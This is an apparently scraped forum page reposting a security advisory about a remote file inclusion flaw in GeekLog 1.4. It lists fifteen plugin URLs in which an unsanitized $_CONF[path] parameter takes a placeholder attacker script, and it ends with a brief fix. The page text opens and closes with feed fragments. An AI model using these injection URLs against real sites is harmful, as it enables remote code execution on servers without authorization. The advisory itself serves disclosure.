/hvaonline/posts/list/13.html JForum - http://www.jforum.net hTTp://RoSecurityGroup.net : Remote : Yes Critical Level : Dangerous --------------------------------------------------------------------------- Affected software description : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : GeekLog version : latest version [ 1.4 ] URL : http://www.geeklog.net/ ------------------------------------------------------------------ Exploit: ~~~~~~~~ Variable $_CONF[path] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. were [path] on some cases => www.site.com/[path]/public_html/index.php # http://www.site.com/[path]/plugins/links/functions.inc?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/polls/functions.inc?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=[Evil_Script] #http://www.site.com/[path]/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/Import.Admin.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/spamx/LogView.Admin.class.php?_CONF[path]=[Evil_Script] # http://www.site.com/[path]/plugins/staticpages/functions.inc?_CONF[path]=[Evil_Script] --------------------------------------------------------------------------- Solution : ~~~~~~~~~~ declare variabel $_CONF[path] --------------------------------------------------------------------------- ]]> /hvaonline/posts/list/729.html#2581 /hvaonline/posts/list/729.html#2581 GMT /hvaonline/posts/list/729.html#2583 /hvaonline/posts/list/729.html#2583 GMT /hvaonline/posts/list/729.html#2585 /hvaonline/posts/list/729.html#2585 GMT /hvaonline/posts/list/729.html#2587 /hvaonline/posts/list/729.html#2587 GMT /hvaonline/posts/list/729.html#2590 /hvaonline/posts/list/729.html#2590 GMT